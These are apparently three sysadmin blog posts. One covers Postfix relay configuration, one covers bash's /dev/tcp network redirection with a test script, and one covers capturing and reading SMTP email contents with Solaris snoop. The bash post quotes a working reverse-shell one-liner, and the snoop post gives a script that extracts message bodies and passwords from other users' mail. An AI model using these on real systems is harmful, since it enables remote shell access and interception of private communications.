Setting Up A Remote SMTP Relay In Postfix On Linux Or Unix

Hey there,

Too much to do today to write anything with gristle ;)

I did, however, run into an issue with Postfix email SMTP relaying that drove me nuts until I found this link on the web about how to configure postfix to use a remote smtp relay host

I've paraphrased below to save my saviour some bandwidth :)

I hadn't dealt with Postfix in forever and, naturally, assumed that the whole setup was far more complicated than it was, and it ended up costing me a bit of time. Once again, life knocks me down a peg. Pretty soon I won't be sitting so high and mighty ;)

Here's the solution (from the link above) Easy as Pie:

This is a public service message, because when I queried google "configure postfix remote smtphost", I couldn't find anything useful to the question I was trying to answer. 

So you're running Linux, and your ISP is filtering traffic on port 25, thus blocking you from sending outgoing mail, and so you want to configure your mailserver to relay all your mail out through your ISP's server, like they want you to. If you're running postfix, this turns out to be very easy -- in /etc/postfix/main.cf, just set the variable: 

 relayhost = smtp.yourisp.com
then restart postfix (/etc/init.d/postfix restart, as root). 

You're welcome. 

, Mike

---

Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!

---

Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

---

When Features Attack: Bash Version 4.0.0(1)-rc1

How do?,

Before we get started today, I just wanted to reflect on our posts' introductions. Usually it's "Hey there," or something to that effect. Being one of those people who are bothered by redundancy (at least, after the 50th time ;) this is the one part of blog posting I find the most grating. And, since everything reminds me of a George Carlin quote, I think he put it pretty well in this little paragraph about saying goodbye to your fellow man (from "Napalm And Silly Putty"):

Then have you noticed this, you get in a rut with the way you say goodbye. You ever find yourself using the same phrase over and over again with everybody, you feel a little stupid. Like if you're leavin' a party, and you have to say goodbye to five people, you say, "OK, hey take it easy, OK, hey take it easy, OK, hey take it easy..", you feel like a goddamn moron, ya know? So you know what I do? Every month, I change the way I say goodbye. Whether I need to or not, every month I start using a different phrase. People notice that. They appreciate that extra effort. They'll say to me, "Pardon me, didn't you used to say, 'OK, hey take it easy'". I say, "Yes I did. but not anymore." Now I say "Farewell". Farewell 'til we meet again, Peace be with you. May the forces of evil become confused on the way to your house. That's a strong one, isn't it? People will remember you if you talk like that. Then sometimes you can combine certain ways to say goodbye that don't really seem to go together, like, "Toodle-oo, go with God, and don't take any wooden nickels." Then people don't know what the fuck you're talking about! Or you can say goodbye in a realistic manner. "So long Steve, don't let self-doubt interfere with plans to improve your life." Well, some people need practical advice.

Anyway, that being said, my options are somewhat limited, since I'm old enough to feel silly saying (or writing) things like "Word," or "What's the haps?" The first one is slang that just doesn't belong to my generation. I might find it amusing, but, at the same time, it seems like it might be confusing or taken the wrong way. The second one seems to have come around within the last year or so and, despite its down-home flavour and growing presence, I've yet to meet anyone who's actually ever said it and, to be quite honest, whenever I read that greeting in an email I mentally envision a middle-aged white man tragically out of touch with the youth culture of today and, also tragically, clamoring out in a weak last-ditch effort to stay hip. I pretty much understand everything most kids say to each other, but I've never felt the need to incorporate any of it into my own dialogue. The only exception is if I'm being sarcastic, which the kids pick up on immediately. They're not stupid and they can smell desperation. I would imagine that they (as I did when I was younger) look to the adults among them for some sense of normalcy, even in the form of language. As a parent, I don't discourage my kids from "fitting in," but I do try to provide a point of reference for them so they can go out into the world and speak intelligently to the older people that will be signing their paychecks (unless they're paying themselves, in which case they're either incredibly successful or possibly schizophrenic ;) Anyway, that being said (damn it! ...redundancy again ;), let's get on with this post. I'm getting farther and farther off-topic. It's a good thing I'm not getting paid for this ;)

On-topic (although this post is much less interesting than the Fox special where the latest build of bash mauls one of its handlers on film ;) I finally found some time and compiled version 4.0.0(1)-rc1 which, I believe, is the latest release out there right now (I could very well be wrong, as I completely missed 4.0-beta2). One of the first things I noticed when looking at the configurable options is that the ability to access the network via Bash's /dev/tcp networking functionality is now an actual option ( --enable-net-redirections ) to configure. When I saw this, I thought two things:

1. Although this used to be enabled by default (which sparked some controversy) , now you have to specifically add it when you build. Of course, conversely, you can specifically exclude it, as before, which leads to the next point...

2. With regards to disabling the net redirection feature, I'm curious if it's a more secure implementation or if it's just being "recognized." Part of me figures that security issues will probably continue to exist with this feature, or it wouldn't be disabled by default. This way, anyone who wants to compile on their own, isn't aware of any of the security risks, and just does a robotic-build (./configure;make;make install - or, and I can't be certain of this, installs the default-build rpm, dpkg, pkg, etc) won't be vulnerable. I've seen a lot of debate on the blogs and boards about whether or not bash's implementation of net redirects is, in fact, a real security risk. For instance, labs.neohapsis.com has this nice online tutorial on how to connect back to the shell using bash net redirects. If you don't want to hop over there, I tested this with net redirects built into bash 4.0.0(1)-rc1 and it still works:

host # exec /usr/local/bin/bash 0</dev/tcp/host/514 1>&0 2>&0

HAPPY NOTE: If you're stuck with any bash version (or pre-compiled OS package), you can still - for the most part - disable bash's net redirect functionality (except in the case of the root user and/or anyone with equal system privilege) in, probably, more than one way. Check out our old post on securing /dev/tcp and /dev/udp if your OS allows you to set extended file access control lists. Restricting the permissions on /dev/tcp and /dev/udp to that extent doesn't actually remedy the underlying situation, but it does make it a lot harder to exploit.

I've included a combo-script (built from various older ones we've posted before) so that you can test your system/OS's behaviour when implementing this functionality with the latest version of bash. I'll probably be goofing around with this a lot in the near future ( although I promise not to bother you with every boring detail ;), as it could make some of our older bash scripts much tighter and outside-software-independent if it proves out.

Farewell 'til we meet again, Peace be with you. May the forces of evil become confused on the way to your house ;)

P.S. In the pictured output below, I used "www.tinyurl.com" for the httpserver variable so it would get the 301 redirect and you'd be able to see all the output from the script. If you run this script against "tinyurl.com" you'll get back the entire page, which runs a bit long)

Click on the picture below for the fun-sized version ;)



Cheers,





This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash
#
# httpg11
#
# 2009 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

#
# Just edit these to your preferences -
# $domain should just be the domain.com part of your $mailserver address
#

mailserver="mail.domain.com"
domain="domain.com"
httpserver="www.tinyurl.com"

echo "Testing mail server functionality"
exec 9<>/dev/tcp/$mailserver/25
read -r server_version <&9
echo "Server reports it is: $server_version"
echo "HELO $domain" >&9
read -r greeting <&9
echo "Server responded to our hello with: $greeting"
echo "VRFY username" >&9
read -r vrfy_ok <&9
echo "Server indicates that this is how it feels about the VRFY command: $vrfy_ok"
echo "quit" >&9
read -r salutation <&9
echo "Server signed off with: $salutation"
echo "Dumping any remaining data in the file descriptor"
cat <&9 2>&1
echo "Closing input and output channels for the file descriptor"
9>&-
9<&-
echo "--------------------------------------------------"
echo "Testing web server functionality - Here it comes..."
exec 9<>/dev/tcp/$httpserver/80
echo "GET / HTTP/1.1" >&9
echo "Host: $httpserver" >&9
echo "Connection: close" >&9
echo "" >&9
while read line
do
echo "$line"
done <&9
echo "Dumping any remaining data in the file descriptor"
cat <&9 2>&1
echo "Closing input and output channels for the file descriptor"
9>&-
9<&-
echo "done"

, Mike

---

Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!

---

Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

---

Snooping Through Email On Solaris

Good morning/afternoon/evening,

For this Saturday's post, I thought I'd put together another bash script on Solaris Unix using snoop. The last time we did this it was to grab cleartext logins and passwords. This time, I thought we'd look at email. SMTP, port 25, in particular.

Snooping through someone's physical mail (delivered to their home) would be a federal offense, but (to my knowledge) if you're a Unix or Linux administrator and have to analyze network traffic and interrogate packets at your place of work, there's almost no way you can avoid getting into other people's business. Most company's have an HR policy that your email is considered private and gaining access to another user's email, without their consent, is blah, blah, blah leading up to, and including termination. Of course, five minutes after said employee leaves the company, you're probably going to be called upon to provide just that sort of access (or the information gained by that access) to the same department that demanded you never ever do that sort of thing in the first place.

That being said, I'm pretty sure the law at this point is that a company can do whatever it wants with any data you create or use on their systems. If they need to, or want to, they can look at the email you send out and receive and where you go on the web, etc. I'm not sure why corporate America insists on assuring the average employee that their company-owned data is "personal and confidential" when all that email and web traffic has to be scanned by 15 security appliances before it can be allowed to enter or leave the company network? You can't block access to a website (even to, say, everyone in the company) without having to examine where every employee is going when they surf the web, etc. It probably makes for some yawn-inspiring legal battles ;)

Anyway, for the sake of today's argument, you're the root user (or someone with sufficient privilege to run snoop on Solaris Unix) and you're inspecting network traffic on an interface on a machine for a semi-legitimate reason.

If you need to check mail traffic, the simplest thing to do is snoop on port 25. This is the SMTP port and is used for sending and receiving email (you can also look at the POP and IMAP ports, but we'll wrap that into the everything's-pretty-much-all-the-same-when-you-get-right-down-to-it closing). You can get a good deal of information just running a straight-up snoop, like so:

host # snoop -o output_file port 25 <--- This snoop will use the default network interface, only capture traffic on port 25 and write the output to a file called "output_file."

The only problem you have is that, although it's readily clear who sent mail to whom, you can't see "what" they wrote. That's the stuff you want to see if you're going to be intercepting that information in real-time.

Note: In order to see the full contents of a packet, you don't need to use the "-v" flag. In fact, I'd strongly discourage it, since it pumps out about 50+ lines of IP stack layer information that you don't need for each and every packet!

If you want to see the full contents of the packets in snoop, just use the "-x" option and pass it the argument of an offset. "-x" gives you the entire packet, in both HEX and ASCII formats. You don't really need the HEX, since most humans read ASCII encoded text (like this) a lot more easily ;) A quick way to dump the HEX portion of each packet is to set the offset to 54 (for TCP traffic) and 42 (for UDP traffic). So, if you wanted to grab each packet and look at the ASCII contents only, you would type:

host # snoop -x 54 -o output_file port 25 <--- We're assuming TCP for the email transmission, although we'd capture any UDP packets that went to that port, also.

If you're ever snooping a protocol that doesn't fit the standards, or you forget these, you can almost always get the exact same effect (for TCP, UDP and any other protocol) by piping your output_file to awk when you're ready to read it, and just printing out the last field of every record, like so:

host # snoop -o output_file port 25
host # snoop -i output_file 2>&1 | awk '{ print $NF }'

The script we wrote for today doesn't take any arguments (but you should modify the snoop line if you want to specify a NIC with the "-d" option) and can be run simply, like this:

host # ./snoopmail.sh

And you'll get somewhat-ugly, but ultimately satisfying, results like this (yet another reason to never send a password via email):

    ..............To
    ...some.poor.guy
    @xyz12345.com..S
    ubject
     Update 4....Hi
    again....How are
     ya,....Your new
     password is bU
    ggl3s....Please
    do not share thi
    s information wi
    th any one!....T
    hanks,.....Secur
    ity..

Enjoy your Saturday, everyone :) Best wishes,





This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# snoopmail.sh
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if [ $# -ne 1 ]
then
        echo "Usage: $0 SnoopOutputFile"
        echo "Please capture packets with the suggested"
        echo "settings: snoop -o output port 25"
        exit 1
fi

snoop_file=$1

if [ ! -f $snoop_file ]
then
        echo "Cannot find snoop output file $snoop_file.  Exiting..."
        exit 1
fi

snoop -i $snoop_file -x 54|sed -n '/DATA/,/QUIT/p'|grep -v SMTP|awk -F":" '{print $2}'|cut -c41- -

, Mike

linux unix internet technology